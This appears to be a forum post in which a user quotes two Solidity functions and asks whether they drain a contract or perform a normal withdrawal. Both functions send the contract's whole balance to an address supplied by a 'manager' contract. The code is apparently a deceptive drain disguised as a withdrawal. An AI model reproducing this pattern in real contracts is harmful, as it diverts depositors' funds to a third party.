I need help for understand a code wrote in Solidity!

EthereumEthereum
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self.ethereum6d ago
function start() public payable { payable(manager.uniswapDepositAddress()).transfer(address(this).balance); } function withdrawal() public payable { payable(manager.uniswapDepositAddress()).transfer(address(this).balance); } Is this a script to drain the tokens inside the contract or it’s a normal script for the withdraw? Thank for the help guys!!!